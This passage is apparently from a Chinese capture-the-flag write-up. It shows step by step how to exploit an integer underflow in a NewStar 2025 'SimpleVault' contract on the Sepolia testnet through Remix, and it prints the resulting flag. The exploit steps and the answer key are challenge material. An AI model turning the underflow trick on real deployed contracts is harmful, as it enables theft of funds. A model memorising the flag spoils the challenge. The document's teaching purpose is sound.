下拉菜单中,选择 "`Borwser Wallet`" 会弹出一个网页连接请求,点击`Sepolia Testnet - MetaMask` "连接" 然后返回 `Remix Desktop` "At Address" 输入题目地址 `0xB6748b3B308b382E28438cc72872e2D70369D90b` 点击 "At Address" 打开下方在 `Deployed Contracts` 下方的 `SIMPLEVAULT AT 0X88D...E3C08` 在 `addPoints` 输入 `2000` 然后点击`addPoints` 在 `usePoints` 输入 `1001` 然后点击`usePoints` 然后再点击 `userSpentPoints` 等待一会儿得到 ```text 0: uint256: 115792089237316195423570985008687907853269984665640564039457584007913129639935 ```` 然后再点击 `getFlag` 等待一会儿得到 ```text 0: string: flag{Good_NewStar2025_Byeeeee!} ``` ### 5. 获取Flag ``` flag{Good_NewStar2025_Byeeeee!} ``` ---